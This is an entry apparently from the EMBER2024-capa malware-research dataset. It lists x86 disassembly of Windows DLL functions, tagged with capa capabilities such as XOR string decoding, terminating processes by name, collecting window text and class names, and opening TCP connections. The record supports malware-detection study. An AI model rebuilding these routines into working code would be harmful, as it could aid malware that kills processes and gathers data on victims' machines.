joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003e50
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c846
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x118]
push eax
push 0x104
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xc8
xor eax, eax
jmp 0x10003ea0
mov dl, byte [eax + 0x100418d4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x134], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x10003ea0
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x134]
push ecx
mov edx, eax
push edx
mov byte [ebp - 0x124], bl
call fcn.100206fd
lea eax, [ebp - 0x118]
add esp, 0xc
push eax
call fcn.10021a95
add esp, 4
lea ecx, [ebp - 0x1e0]
push ecx
call fcn.10013f00
push 0x12
lea ecx, [ebp - 0x118]
lea esi, [ebp - 0x1dc]
mov dword [ebp - 4], ebx
call fcn.100158b0
test eax, eax
jne 0x10003f34
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10003f55
or eax, 4
jmp 0x10003f55
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x1a8]
lea ecx, [ebp + ecx - 0x1e0]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.10001530
mov dword [ebp - 0x120], 0x6f727245
mov dword [ebp - 0x11c], 0x203a72
push edi
push ecx
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x1e0]
push edx
mov byte [ebp - 4], 1
call fcn.1001b000
add esp, 0xc
push eax
call fcn.1001b000
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.100132b0
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x10003fc7
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10003fc7
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x10003fe6
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], ebx
jne 0x10003fdf
or eax, 4
push ebx
push eax
call fcn.10001530
xor eax, eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
call fcn.10015950
test eax, eax
jne 0x1000402f
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10004028
or eax, 4
push ebx
push eax
call fcn.10001530
call fcn.10003da0
lea ecx, [ebp - 0x180]
mov dword [ebp - 4], 0xffffffff
call fcn.10014180
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1001f5bd
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x100040a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x100
push 0
push 0x10193c40
call fcn.10023e30
mov ecx, dword [ebp + 8]
add esp, 0xc
xor eax, eax
sub ecx, 0x10193c40
mov dl, byte [ecx + eax + 0x10193c40]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10193c40], dl
inc eax
cmp eax, 0x100
jl 0x100040c2
mov eax, 0x10193c40
pop ebp
ret
Function at 0x100040f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003c336
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x100418ec]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x100418e8]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10004314
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x10004170
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10004225
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100041b3
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10016fe0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100041e0
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10015530
mov esi, eax
cmp esi, 0xffffffff
jne 0x10004244
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x10004225
mov ecx, dword [ebp - 0x63c]
push ecx
call fcn.100204af
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x10004225
cmp word [ebx], di
je 0x10004314
mov esi, dword [ebp - 0x660]
jmp 0x10004170
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10004266
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10016fe0
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10004290
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.100153a0
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x100042d0
mov ecx, dword [ebp - 0x658]
push ecx
call fcn.100204af
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x100042e4
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call fcn.100228f7
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x10004310
mov eax, dword [ebp - 0x63c]
push eax
call fcn.100204af
add esp, 4
mov al, 1
jmp 0x10004316
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10004390
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
push 0xf
mov dword [ebp - 0x138], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x134]
mov edi, eax
push ecx
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10004439
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, dword [ebp - 0x138]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10022b3a
add esp, 8
test eax, eax
jne 0x10004427
mov ecx, dword [ebp - 0x12c]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
je 0x10004427
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x12c], eax
je 0x10004427
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100043dd
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret

Function at 0x10004630
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10091bfc]
push ebx
push esi
push edi
test eax, eax
js 0x10004738
cmp eax, 6
jge 0x10004738
mov esi, eax
imul esi, esi, 0x214
push ecx
add esi, 0x10090f84
inc eax
lea edi, [esi + 4]
push 0x100
mov dword [0x10091bfc], eax
push edi
mov dword [esi], 1
call fcn.100225b8
add esp, 0xc
cmp dword [esi], 0
je 0x10004738
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xe]
movzx ecx, word [ebp - 0x12]
movzx edx, word [ebp - 0x14]
push eax
push ecx
push edx
push edi
lea ebx, [esi + 0x110]
push str.._s_04d__02d__02d.txt
push ebx
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x10004713
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10004738
mov ecx, dword [esi + 0x210]
push ecx
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10004750
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
test eax, eax
js 0x10004947
cmp eax, dword [ecx + 0xc7c]
jge 0x10004947
imul eax, eax, 0x214
cmp dword [eax + ecx + 4], 0
lea esi, [eax + ecx + 4]
je 0x10004947
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x812]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
cmp ecx, dword [esi + 0x104]
jne 0x100047d6
movzx edx, word [ebp - 0x816]
cmp edx, dword [esi + 0x108]
jne 0x100047d6
movzx eax, word [ebp - 0x818]
cmp eax, dword [esi + 0x10c]
je 0x10004893
mov ecx, dword [esi + 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0x812]
movzx ecx, word [ebp - 0x816]
movzx edx, word [ebp - 0x818]
push eax
push ecx
push edx
mov dword [esi + 0x10c], edx
lea edx, [esi + 4]
push edx
lea edi, [esi + 0x110]
push str.._s_04d__02d__02d.txt
push edi
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
call ebx
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x1000485d
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10004893
mov eax, dword [esi + 0x210]
push eax
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
push 0x3ff
lea ecx, [ebp - 0x807]
push 0
push ecx
mov byte [ebp - 0x808], 0
call fcn.10023e30
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.10021e43
push 0x3ff
lea edx, [ebp - 0x407]
push 0
push edx
mov byte [ebp - 0x408], 0
call fcn.10023e30
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
lea eax, [ebp - 0x808]
push eax
movzx eax, word [ebp - 0x810]
push ecx
push edx
push eax
lea ecx, [ebp - 0x408]
push str._02d:_02d:_02d__s_r_n
push ecx
call ebx
lea eax, [ebp - 0x408]
add esp, 0x40
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004920
mov ecx, dword [esi + 0x210]
sub eax, edx
push 0
lea edx, [ebp - 0x81c]
push edx
push eax
lea eax, [ebp - 0x408]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x10004a20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x10048650]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x10004b96
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x10004b86
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x10004b10
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10004b10
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x10004b32
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call fcn.100206fd
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004b63
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 4
Function at 0x10005030
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, eax
mov eax, dword [ebp + 0xc]
push eax
push 1
push ecx
push 0x1004c838
call fcn.100040a0
add esp, 4
push eax
push 0
mov ecx, 0x10090f80
call fcn.10004750
mov eax, dword [0x10091c6c]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
add esp, 0x14
test eax, eax
je 0x10005098
push 0
push 0
push 0x10
push eax
call esi
mov edx, dword [0x10193240]
mov eax, dword [str.SPLASH]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
push edx
push eax
mov dword [0x10091c6c], 0
call edi
jmp 0x1000509e
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10091d94]
test eax, eax
je 0x100050ca
push 0
push 0
push 0x10
push eax
call esi
mov ecx, dword [0x10193240]
mov edx, dword [str.SPLASH]
push ecx
push edx
mov dword [0x10091d94], 0
call edi
mov eax, dword [0x10091ebc]
test eax, eax
je 0x100050f5
push 0
push 0
push 0x10
push eax
call esi
mov eax, dword [0x10193240]
mov ecx, dword [str.SPLASH]
push eax
push ecx
mov dword [0x10091ebc], 0
call edi
mov eax, dword [ebp + 8]
sub eax, 0
je 0x10005119
dec eax
je 0x1000510d
dec eax
jne 0x10005122
lea ecx, [eax + 2]
mov eax, 0x2b39c0
jmp 0x10005128
mov ecx, 1
mov eax, 0x227ee6
jmp 0x10005128
xor ecx, ecx
mov eax, 0xf1f0ec
jmp 0x10005128
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push eax
push edx
call fcn.10004bf0
mov ecx, ebx
mov edi, 0x10004f90
call fcn.10003c00
mov eax, dword [ebx + 8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 4]
test eax, eax
je 0x10005185
push 0
push 0
push 0x10
push eax
call esi
mov eax, dword [0x10193240]
mov ecx, dword [ebx + 0x1c]
push eax
push ecx
mov dword [ebx + 4], 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.10003da0
Function at 0x10005210
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003bc20
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10048650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 4], 0
mov eax, dword [esi + 8]
mov ecx, dword [0x10193a08]
sub ecx, dword [0x10193a04]
mov dword [ebp - 0x14], eax
mov eax, 0xdd67c8a7
imul ecx
mov eax, dword [ebp - 0x14]
add edx, ecx
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
or ebx, 0xffffffff
cmp edi, eax
ja 0x10005283
push str.invalid_vector_T__subscript
call fcn.1001fa1b
mov eax, 0x1000530f
ret
imul eax, eax, 0x128
add eax, dword [0x10193a04]
mov ecx, dword [eax]
cmp ecx, dword [esi + 0xc]
jne 0x100052cc
lea ecx, [esi + 0x10]
add eax, 0x24
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100052c0
test dl, dl
je 0x100052bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100052c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100052a0
xor eax, eax
jmp 0x100052c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100052cc
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
cmp ebx, 0xffffffff
je 0x1000530f
cmp edi, ebx
ja 0x100052e6
push str.invalid_vector_T__subscript
call fcn.1001fa1b
imul ebx, ebx, 0x128
add ebx, dword [0x10193a04]
mov edx, dword [ebx]
push edx
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000530f
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006410
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003be5b
mov eax, dword fs:[0]
push eax
sub esp, 0xc40
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0xc48], ebx
mov dword [ebp - 0xc44], ebx
mov dword [ebp - 0xc40], ebx
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0xc48]
mov dword [ebp - 4], ebx
call fcn.100039f0
add esp, 4
mov word [ebp - 0xc34], 0xac2
mov byte [ebp - 0xc32], 0xc
call fcn.10022597
and eax, 0x800000ff
jns 0x1000648a
dec eax
or eax, 0xffffff00
inc eax
mov esi, dword [ebp - 0xc48]
mov byte [ebp - 0xc31], al
mov eax, dword [ebp - 0xc44]
sub eax, esi
sar eax, 2
mov byte [ebp - 0xc30], 0x21
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0xc2c], eax
cmp eax, ebx
jbe 0x1000653f
lea ecx, [ebp - 0x728]
mov dword [ebp - 0xc38], ecx
cmp ebx, 0x14
jge 0x1000653f
mov eax, dword [esi + ebx*4]
push 0x104
lea edx, [ebp - 0x11c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [esi + ebx*4]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, dword [ebp - 0xc38]
mov eax, dword [ebp - 0xc38]
add edi, 0xfffffb00
mov ecx, 0x10
lea esi, [ebp - 0x11c]
rep movsd dword es:[edi], dword [esi]
mov edi, eax
mov ecx, 0x10
lea esi, [ebp - 0x224]
inc ebx
add eax, 0x40
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xc48]
mov dword [ebp - 0xc38], eax
cmp ebx, dword [ebp - 0xc4c]
jb 0x100064c8
mov ecx, 0xa0c
lea edx, [ebp - 0xc34]
call fcn.10006c50
test esi, esi
je 0x1000655c
push esi
call fcn.100204af
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 4

Function at 0x10006720
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x10048650]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10006759
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100204ba
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x10091fe4], eax
cmp eax, 0xffffffff
je 0x10006749
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x10091fe8], eax
test eax, eax
je 0x10006749
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10191ff4], 0x1000beb0
mov al, 1
call fcn.100204ba
mov esp, ebp
pop ebp
ret
Function at 0x100067a0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x10048650]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push esi
mov esi, ecx
cmp dword [esi + 4], 0xffffffff
push edi
mov edi, dword [ebp + 8]
jne 0x100067f5
push 0x10049f38
call fcn.100040a0
add esp, 4
push eax
push 0
mov ecx, 0x10090f80
call fcn.10004750
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [esp + 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
xor ebx, ebx
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x10006843
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x10006843
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.10023590
add esp, 0xc
mov ecx, dword [esi + 4]
push 0x10
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x100068a2
call edi
cmp eax, 0x2733
je 0x100068a2
call edi
push eax
push 0x1004a038
call fcn.100040a0
add esp, 4
push eax
push ebx
mov ecx, 0x10090f80
call fcn.10004750
add esp, 0xc
call fcn.10006980
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 8
mov edx, dword [esi + 8]
mov eax, dword [esi + 4]
push 0x23
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10006919
call edi
push eax
push 0x1004a138
call fcn.100040a0
add esp, 4
push eax
push ebx
mov ecx, 0x10090f80
call fcn.10004750
mov eax, dword [esi + 4]
add esp, 0xc
cmp eax, 0xffffffff
je 0x100068ec
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x100068fd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], ebx
mov byte [esi + 0x100038], bl
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 8
push 0x80000
lea ecx, [esi + 0xc]
push ebx
push ecx
call fcn.10023e30
add esp, 0xc
push 0x80000
lea edx, [esi + 0x80010]
push ebx
push edx
mov dword [esi + 0x8000c], ebx
call fcn.10023e30
add esp, 0xc
mov ecx, esi
mov edi, 0x10006f40
mov dword [esi + 0x100010], ebx
call fcn.10003c00
mov ecx, dword [esp + 0x1c]
mov al, 1
pop edi
mov byte [esi + 0x100038], al
pop esi
pop ebx
xor ecx, esp
call fcn.100204ba
mov esp, ebp
pop ebp
ret 8